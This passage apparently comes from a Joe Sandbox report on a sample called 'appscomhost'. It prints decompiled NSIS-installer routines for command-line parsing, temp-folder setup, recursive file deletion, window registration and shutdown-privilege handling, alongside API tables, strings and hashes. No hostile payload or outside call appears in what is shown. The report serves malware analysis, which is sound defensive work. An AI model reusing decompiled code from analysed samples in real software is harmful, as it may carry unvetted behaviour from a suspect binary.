							E00406411(0x4d0000, _t174);
							E00406411(0x4d4000, _t174);
							 *(_t195 + 0x10) = _t149;
							goto L47;
						}
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_t157 = ( *0x40a27e & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
						_t118 = ( *0x40a282 & 0x0000ffff) << 0x00000010 |  *0x40a280 & 0x0000ffff | (_t162 << 0x00000020 |  *0x40a282 & 0x0000ffff) << 0x10;
						while( *_t173 != _t157 || _t173[1] != _t118) {
							_t173 = _t173;
							if(_t173 >= 0x4cc000) {
								continue;
							}
							break;
						}
						_t149 = 0;
						goto L44;
					}
					GetWindowsDirectoryW(0x4e0000, 0x1ffb);
					lstrcatW(0x4e0000, L"\\Temp");
					_t121 = E00403494(_t153, _t223);
					_t224 = _t121;
					if(_t121 != 0) {
						goto L36;
					}
					GetTempPathW(0x1ffc, 0x4e0000);
					lstrcatW(0x4e0000, L"Low");
					SetEnvironmentVariableW(L"TEMP", 0x4e0000);
					SetEnvironmentVariableW(L"TMP", 0x4e0000);
					_t126 = E00403494(_t153, _t224);
					_t225 = _t126;
					if(_t126 == 0) {
						goto L48;
					}
					goto L36;
				} else {
					do {
						_t152 = 0x20;
						if(_t65 != _t152) {
							L13:
							if( *_t153 == 0x22) {
								_t153 = _t153 + 2;
								_t152 = 0x22;
							}
							if( *_t153 != 0x2f) {
								goto L27;
							} else {
								_t153 = _t153 + 2;
								if( *_t153 == 0x53) {
									_t146 =  *((intOrPtr*)(_t153 + 2));
									if(_t146 == 0x20 || _t146 == 0) {
										 *0x47afc0 = 1;
									}
								}
								asm("cdq");
								asm("cdq");
								_t167 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t179 = ( *0x40a2c2 & 0x0000ffff) << 0x00000010 |  *0x40a2c0 & 0x0000ffff | _t167;
								if( *_t153 == (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t167) &&  *((intOrPtr*)(_t153 + 4)) == _t179) {
									_t145 =  *((intOrPtr*)(_t153 + 8));
									if(_t145 == 0x20 || _t145 == 0) {
										 *(_t195 + 0x1c) =  *(_t195 + 0x1c) | 0x00000004;
									}
								}
								asm("cdq");
								asm("cdq");
								_t162 = L" /D=" & 0x0000ffff;
								asm("cdq");
								_t182 = ( *0x40a2b6 & 0x0000ffff) << 0x00000010 |  *0x40a2b4 & 0x0000ffff | _t162;
								if( *(_t153 - 4) != (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t162) ||  *_t153 != _t182) {
									goto L27;
								} else {
									 *(_t153 - 4) =  *(_t153 - 4) & 0x00000000;
									__eflags = _t153;
									E00406411(0x4d0000, _t153);
									L32:
									_t149 = 0;
									goto L33;
								}
							}
						} else {
							goto L12;
						}
						do {
							L12:
							_t153 = _t153 + 2;
						} while ( *_t153 == _t152);
						goto L13;
						L27:
						_t153 = E00405D13(_t153, _t152);
						if( *_t153 == 0x22) {
							_t153 = _t153 + 2;
						}
						_t65 =  *_t153;
					} while (_t65 != 0);
					goto L32;
				}
				L4:
				E00406796(_t183); // executed
				_t183 =  &(_t183[lstrlenA(_t183) + 1]);
				if( *_t183 != 0) {
					goto L4;
				} else {
					E00406806(0xb);
					 *0x47af04 = E00406806(9);
					_t56 = E00406806(7);
					if(_t56 != _t149) {
						_t56 =  *_t56(0x1e);
						if(_t56 != 0) {
							 *0x47af0f =  *0x47af0f | 0x00000040;
						}
					}
					goto L8;
				}
			}

0x004034d0
0x004034d1
0x004034d8
0x004034dc
0x004034e4
0x004034e8
0x004034f4
0x004034fd
0x00403502
0x00403505
0x0040350c
0x00403513
0x00403513
0x0040350c
0x00403515
0x00403515
0x0040355d
0x0040355e
0x00403565
0x0040356b
0x00403581
0x00403591
0x004035a3
0x004035b0
0x004035ba
0x004035bc
0x004035c0
0x004035c5
0x004035c5
0x004035d4
0x004035d6
0x004035da
0x004035e0
0x004036f7
0x00403708
0x0040370a
0x0040370f
0x00403711
0x00403769
0x0040376e
0x00403778
0x0040377f
0x00403783
0x00403834
0x00403834
0x00403839
0x0040383f
0x00403844
0x0040396a
0x00403970
0x004039ee
0x004039ee
0x004039f3
0x004039f6
0x004039f8
0x004039f8
0x00403a00
0x00403a00
0x00403980
0x00403986
0x00403988
0x00403995
0x004039a8
0x004039b0
0x004039b8
0x004039b8
0x004039c0
0x004039c5
0x004039cc
0x004039da
0x004039dd
0x004039e3
0x004039e5
0x00000000
0x00000000
0x00000000
0x004039ce
0x004039d4
0x004039d6
0x004039d8
0x004039e7
0x004039e9
0x00000000
0x004039e9
0x00000000
0x004039d8
0x004039cc
0x00403853
0x0040385a
0x0040385a
0x0040378f
0x00403824
0x00403824
0x00403830
0x00000000
0x00403830
0x0040379c
0x004037a0
0x004037ee
0x004037ee
0x004037f0
0x004037f8
0x0040386b
0x0040386d
0x00403874
0x0040387c
0x0040387c
0x00403887
0x0040389b
0x0040389f
0x004038a0
0x004038a9
0x004038a2
0x004038a2
0x004038a2
0x004038af
0x004038bc
0x004038c4
0x004038c4
0x004038d2
0x004038de
0x004038ec
0x004038f1
0x004038f7
0x00403903
0x00403909
0x00403913
0x00403929
0x0040393a
0x00403940
0x00403947
0x0040394a
0x00403950
0x00403950
0x00403947
0x00403954
0x0040395b
0x0040395b
0x00403960
0x00403960
0x00000000
0x0040389b
0x004037fa
0x004037fd
0x00403808
0x00000000
0x00000000
0x00403810
0x0040381b
0x00403820
0x00000000
0x00403820
0x004037a9
0x004037c1
0x004037d2
0x004037d3
0x004037d7
0x004037d9
0x004037e7
0x004037ea
0x00000000
0x00000000
0x00000000
0x004037ea
0x004037ec
0x00000000
0x004037ec
0x00403719
0x00403725
0x0040372a
0x0040372f
0x00403731
0x00000000
0x00000000
0x00403739
0x00403741
0x00403752
0x0040375a
0x0040375c
0x00403761
0x00403763
0x00000000
0x00000000
0x00000000
0x004035e6
0x004035e6
0x004035e8
0x004035ec
0x004035f5
0x004035f9
0x004035fe
0x004035ff
0x004035ff
0x00403604
0x00000000
0x0040360a
0x0040360b
0x00403610
0x00403612
0x0040361a
0x00403621
0x00403621
0x0040361a
0x00403632
0x00403645
0x00403646
0x0040365b
0x00403660
0x00403664
0x0040366d
0x00403675
0x0040367c
0x0040367c
0x00403675
0x00403688
0x0040369b
0x0040369c
0x004036b1
0x004036b7
0x004036bb
0x00000000
0x004036e2
0x004036e2
0x004036e7
0x004036f0
0x004036f5
0x004036f5
0x00000000
0x004036f5
0x004036bb
0x00000000
0x00000000
0x00000000
0x004035ee
0x004035ee
0x004035ef
0x004035f0
0x00000000
0x004036c3
0x004036ca
0x004036d0
0x004036d3
0x004036d3
0x004036d4
0x004036d7
0x00000000
0x004036e0
0x0040351a
0x0040351b
0x00403527
0x0040352e
0x00000000
0x00403530
0x00403532
0x00403540
0x00403545
0x0040354c
0x00403550
0x00403554
0x00403556
0x00403556
0x00403554
0x00000000
0x0040354c

APIs

SetErrorMode.KERNELBASE ref: 004034E8
GetVersion.KERNEL32 ref: 004034EE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403521
#17.COMCTL32(?,00000007,00000009,0000000B), ref: 0040355E
OleInitialize.OLE32(00000000), ref: 00403565
SHGetFileInfoW.SHELL32(00440228,00000000,?,000002B4,00000000), ref: 00403581
GetCommandLineW.KERNEL32(00472F00,NSIS Error,?,00000007,00000009,0000000B), ref: 00403596
CharNextW.USER32(00000000,004CC000,00000020,004CC000,00000000,?,00000007,00000009,0000000B), ref: 004035CE

Part of subcall function 00406806: GetModuleHandleA.KERNEL32(?,00000020,?,00403537,0000000B), ref: 00406818
Part of subcall function 00406806: GetProcAddress.KERNEL32(00000000,?), ref: 00406833

GetTempPathW.KERNEL32(00002000,004E0000,?,00000007,00000009,0000000B), ref: 00403708
GetWindowsDirectoryW.KERNEL32(004E0000,00001FFB,?,00000007,00000009,0000000B), ref: 00403719
lstrcatW.KERNEL32(004E0000,\Temp), ref: 00403725
GetTempPathW.KERNEL32(00001FFC,004E0000,004E0000,\Temp,?,00000007,00000009,0000000B), ref: 00403739
lstrcatW.KERNEL32(004E0000,Low), ref: 00403741
SetEnvironmentVariableW.KERNEL32(TEMP,004E0000,004E0000,Low,?,00000007,00000009,0000000B), ref: 00403752
SetEnvironmentVariableW.KERNEL32(TMP,004E0000,?,00000007,00000009,0000000B), ref: 0040375A
DeleteFileW.KERNELBASE(004DC000,?,00000007,00000009,0000000B), ref: 0040376E

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00002000,00403596,00472F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

ExitProcess.KERNEL32(00000007,?,00000007,00000009,0000000B), ref: 00403834
OleUninitialize.OLE32(00000007,?,00000007,00000009,0000000B), ref: 00403839
ExitProcess.KERNEL32 ref: 0040385A
lstrcatW.KERNEL32(004E0000,~nsu), ref: 0040386D
lstrcatW.KERNEL32(004E0000,0040A26C), ref: 0040387C
lstrcatW.KERNEL32(004E0000,.tmp), ref: 00403887
lstrcmpiW.KERNEL32(004E0000,004D8000,004E0000,.tmp,004E0000,~nsu,004CC000,00000000,00000007,?,00000007,00000009,0000000B), ref: 00403893
SetCurrentDirectoryW.KERNEL32(004E0000,004E0000,?,00000007,00000009,0000000B), ref: 004038AF
DeleteFileW.KERNEL32(0043C228,0043C228,?,0047C000,00000009,?,00000007,00000009,0000000B), ref: 00403909
CopyFileW.KERNEL32(004E8000,0043C228,00000001,?,00000007,00000009,0000000B), ref: 0040391D
CloseHandle.KERNEL32(00000000,0043C228,0043C228,?,0043C228,00000000,?,00000007,00000009,0000000B), ref: 0040394A
GetCurrentProcess.KERNEL32(00000028,0000000B,00000007,00000009,0000000B), ref: 00403979
OpenProcessToken.ADVAPI32(00000000), ref: 00403980
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403995
AdjustTokenPrivileges.ADVAPI32 ref: 004039B8
ExitWindowsEx.USER32(00000002,80040002), ref: 004039DD
ExitProcess.KERNEL32 ref: 00403A00

Strings

NSIS Error, xrefs: 00403587
Low, xrefs: 0040373B
TMP, xrefs: 00403755
\Temp, xrefs: 0040371F
UXTHEME, xrefs: 00403515, 0040351A, 00403520
SeShutdownPrivilege, xrefs: 0040398F
Error launching installer, xrefs: 004037F0
TEMP, xrefs: 0040374D
.tmp, xrefs: 00403881
~nsu, xrefs: 00403865

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Processlstrcat$ExitFile$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 424501083-3195845224
Opcode ID: ab776c022f0be54f14ab18004393cb420f806990783aa81ef0d47e685c61c5bb
Instruction ID: 373d3818dad7805ba7bf35132468cf99680d35d50df9911f559e495a1c601fb9
Opcode Fuzzy Hash: ab776c022f0be54f14ab18004393cb420f806990783aa81ef0d47e685c61c5bb
Instruction Fuzzy Hash: C6D126B1600310ABD7207F659D45B3F3AA8EB8070AF11883FF581B62D1DBBD8955872E

Uniqueness

Uniqueness Score: -1.00%

Function 00405B23, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405B23(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00405DEE(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x47afa8 =  *0x47afa8 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E00406411(0x460270, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405D32(_t68);
					} else {
						lstrcatW(0x460270, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x460270,  &_v604); // executed
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E00406411(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405ADB(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E00405479(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x47afa8 =  *0x47afa8 + 1;
										} else {
											E00405479(0xfffffff1, _t68);
											E004061D7(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405B23(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604); // executed
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70);
						goto L26;
					}
					__eflags =  *0x460270 - 0x5c;
					if( *0x460270 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E0040676F(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405CE6(_t68);
							_t38 = E00405ADB(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E00405479(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E00405479(0xfffffff1, _t68);
							return E004061D7(_t67, _t68, 0);
						}
						L30:
						 *0x47afa8 =  *0x47afa8 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405b2d
0x00405b32
0x00405b3b
0x00405b3e
0x00405b46
0x00405b49
0x00405b4c
0x00405b54
0x00405b56
0x00405b57
0x00000000
0x00405b57
0x00405b62
0x00405b65
0x00405b65
0x00405b65
0x00405b69
0x00405b7c
0x00405b83
0x00405b88
0x00405b8c
0x00405b9c
0x00405b8e
0x00405b94
0x00405b94
0x00405ba1
0x00405ba5
0x00405bb1
0x00405bb7
0x00405bbc
0x00405bc2
0x00405bcd
0x00405bd3
0x00405bd5
0x00405bd8
0x00405c82
0x00405c82
0x00405c86
0x00405c88
0x00405c88
0x00405c88
0x00405c88
0x00000000
0x00000000
0x00000000
0x00000000
0x00405bde
0x00405bde
0x00405bde
0x00405be6
0x00405c06
0x00405c0e
0x00405c13
0x00405c1a
0x00405c35
0x00405c3a
0x00405c3c
0x00405c60
0x00405c3e
0x00405c3e
0x00405c41
0x00405c55
0x00405c43
0x00405c46
0x00405c4e
0x00405c4e
0x00405c41
0x00405c1c
0x00405c22
0x00405c24
0x00405c2a
0x00405c2a
0x00405c24
0x00000000
0x00405c1a
0x00405be8
0x00405bf0
0x00000000
0x00000000
0x00405bf2
0x00405bfa
0x00000000
0x00000000
0x00405bfc
0x00405c04
0x00000000
0x00000000
0x00000000
0x00405c65
0x00405c6d
0x00405c73
0x00405c73
0x00405c7c
0x00000000
0x00405c7c
0x00405ba7
0x00405baf
0x00000000
0x00000000
0x00000000
0x00405b6b
0x00405b6b
0x00405b6d
0x00405c8d
0x00405c8f
0x00405c92
0x00405ce3
0x00405ce3
0x00405ce3
0x00405c94
0x00405c97
0x00405ca2
0x00405ca7
0x00405ca9
0x00000000
0x00000000
0x00405cac
0x00405cb8
0x00405cbd
0x00405cbf
0x00000000
0x00405cda
0x00405cc1
0x00405cc4
0x00000000
0x00000000
0x00405cc9
0x00000000
0x00405cd0
0x00405c99
0x00405c99
0x00000000
0x00405c99
0x00405b73
0x00405b76
0x00000000
0x00000000
0x00000000
0x00405b76

APIs

DeleteFileW.KERNELBASE(?,?,74B5FAA0,004E0000,00000000), ref: 00405B4C
lstrcatW.KERNEL32(00460270,\*.*), ref: 00405B94
lstrcatW.KERNEL32(?,0040A014), ref: 00405BB7
lstrlenW.KERNEL32(?,?,0040A014,?,00460270,?,?,74B5FAA0,004E0000,00000000), ref: 00405BBD
FindFirstFileW.KERNELBASE(00460270,?,?,?,0040A014,?,00460270,?,?,74B5FAA0,004E0000,00000000), ref: 00405BCD
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C6D
FindClose.KERNEL32(00000000), ref: 00405C7C

Strings

\*.*, xrefs: 00405B8E

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 2eab0f1bba5d150986ad3fded44882e3f06e0bdfd7ef349aad14b7d3d5f3146c
Instruction ID: 74df839f1aa93114c0fa1c37b63eb50f2c0773b0a992ef8d456c3ec074aceaf7
Opcode Fuzzy Hash: 2eab0f1bba5d150986ad3fded44882e3f06e0bdfd7ef349aad14b7d3d5f3146c
Instruction Fuzzy Hash: 3A41B230804B18AAEB216B658D89AAF7678EF41715F24417FF802B11D1E77C4E81DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040676F, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040676F(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x4682b8); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2); // executed
				return 0x4682b8;
			}

0x0040677a
0x00406783
0x00000000
0x00406790
0x00406786
0x00000000

APIs

FindFirstFileW.KERNELBASE(74B5FAA0,004682B8,00464270,00405E37,00464270,00464270,00000000,00464270,00464270,74B5FAA0,?,004E0000,00405B43,?,74B5FAA0,004E0000), ref: 0040677A
FindClose.KERNELBASE(00000000), ref: 00406786

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 4734d1aeb850aaddc09d8666a85e7b820d11d597e95b4d689eee2a0b231bcb63
Instruction ID: 569c361362128d6f3e7691e7471aa0b1198c2649534870dd2b6b6f476fb4143d
Opcode Fuzzy Hash: 4734d1aeb850aaddc09d8666a85e7b820d11d597e95b4d689eee2a0b231bcb63
Instruction Fuzzy Hash: E5D012315652206FC3405B386E0C84B7B989F563357218B3AB4AAF21E0DB349C3286BD

Uniqueness

Uniqueness Score: -1.00%

Function 00403AE0, Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403AE0(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x47af14;
				_t22 = E00406806(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x450268;
					 *0x4dc000 = 0x30;
					 *0x4dc002 = 0x78;
					 *0x4dc004 = 0;
					E004062DF(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x450268, 0);
					__eflags =  *0x450268;
					if(__eflags == 0) {
						E004062DF(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x450268, 0);
					}
					lstrcatW(0x4dc000, _t76);
				} else {
					E00406358(0x4dc000,  *_t22() & 0x0000ffff);
				}
				E00403DB6(_t78, _t90);
				 *0x47afa0 =  *0x47af1c & 0x00000020;
				 *0x47afbc = 0x10000;
				if(E00405DEE(_t90, 0x4d0000) != 0) {
					L16:
					if(E00405DEE(_t98, 0x4d0000) == 0) {
						E0040644E(_t76, 0, _t82, 0x4d0000,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x47af00, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x472ee8 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403DB6(_t78, __eflags);
							__eflags =  *0x47afc0;
							if( *0x47afc0 != 0) {
								_t33 = E0040554C(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x472ecc;
								if( *0x472ecc == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x450248, 5);
							_t39 = E00406796("RichEd20");
							__eflags = _t39;
							if(_t39 == 0) {
								E00406796("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x472ea0);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x472ea0);
								 *0x472ec4 = _t87;
								RegisterClassW(0x472ea0);
							}
							_t44 = DialogBoxParamW( *0x47af00,  *0x472ee0 + 0x00000069 & 0x0000ffff, 0, E00403E8E, 0);
							E00403A30(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x47af00;
						 *0x472ea4 = E00401000;
						 *0x472eb0 =  *0x47af00;
						 *0x472eb4 = _t30;
						 *0x472ec4 = 0x40a380;
						if(RegisterClassW(0x472ea0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x450248 = CreateWindowExW(0x80, 0x40a380, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x47af00, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x46aea0;
					E004062DF(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x47af58 + _t78 * 2,  *0x47af58 +  *(_t82 + 0x4c) * 2, 0x46aea0, 0);
					_t63 =  *0x46aea0; // 0x35
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x46aea2;
						 *((short*)(E00405D13(0x46aea2, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E00406411(0x4d0000, E00405CE6(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405D32(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403ae6
0x00403aef
0x00403af6
0x00403af8
0x00403b0c
0x00403b1e
0x00403b27
0x00403b30
0x00403b37
0x00403b3c
0x00403b43
0x00403b56
0x00403b56
0x00403b61
0x00403afa
0x00403b05
0x00403b05
0x00403b66
0x00403b79
0x00403b7e
0x00403b8f
0x00403c21
0x00403c29
0x00403c32
0x00403c32
0x00403c48
0x00403c4e
0x00403c5c
0x00403cdd
0x00403ce5
0x00403cef
0x00403cf4
0x00403cfa
0x00403d84
0x00403d89
0x00403d8b
0x00403da7
0x00000000
0x00403da7
0x00403d8d
0x00403d93
0x00403d9b
0x00403d9b
0x00000000
0x00403d93
0x00403d08
0x00403d13
0x00403d18
0x00403d1a
0x00403d21
0x00403d21
0x00403d2c
0x00403d34
0x00403d36
0x00403d38
0x00403d41
0x00403d44
0x00403d4a
0x00403d4a
0x00403d69
0x00403d7a
0x00000000
0x00403d7f
0x00403ce7
0x00403ce9
0x00000000
0x00403c5e
0x00403c5e
0x00403c6a
0x00403c74
0x00403c7a
0x00403c7f
0x00403c8e
0x00403dac
0x00403dac
0x00000000
0x00403dac
0x00403c9d
0x00403cd8
0x00000000
0x00403cd8
0x00403b95
0x00403b95
0x00403b98
0x00403b9a
0x00000000
0x00000000
0x00403ba8
0x00403bba
0x00403bbf
0x00403bc8
0x00000000
0x00000000
0x00403bce
0x00403bd0
0x00403bdd
0x00403bdd
0x00403be6
0x00403bec
0x00403c14
0x00403c1c
0x00000000
0x00403bfe
0x00403bff
0x00403c08
0x00403c0e
0x00403c0f
0x00000000
0x00403c0f
0x00403c0a
0x00403c0c
0x00000000
0x00000000
0x00000000
0x00403c0c
0x00403bec

APIs

Part of subcall function 00406806: GetModuleHandleA.KERNEL32(?,00000020,?,00403537,0000000B), ref: 00406818
Part of subcall function 00406806: GetProcAddress.KERNEL32(00000000,?), ref: 00406833

lstrcatW.KERNEL32(004DC000,00450268), ref: 00403B61
lstrlenW.KERNEL32(5000,?,?,?,5000,00000000,004D0000,004DC000,00450268,80000001,Control Panel\Desktop\ResourceLocale,00000000,00450268,00000000,00000002,74B5FAA0), ref: 00403BE1
lstrcmpiW.KERNEL32(?,.exe,5000,?,?,?,5000,00000000,004D0000,004DC000,00450268,80000001,Control Panel\Desktop\ResourceLocale,00000000,00450268,00000000), ref: 00403BF4
GetFileAttributesW.KERNEL32(5000), ref: 00403BFF
LoadImageW.USER32 ref: 00403C48

Part of subcall function 00406358: wsprintfW.USER32 ref: 00406365

RegisterClassW.USER32 ref: 00403C85
SystemParametersInfoW.USER32 ref: 00403C9D
CreateWindowExW.USER32 ref: 00403CD2
ShowWindow.USER32(00000005,00000000), ref: 00403D08
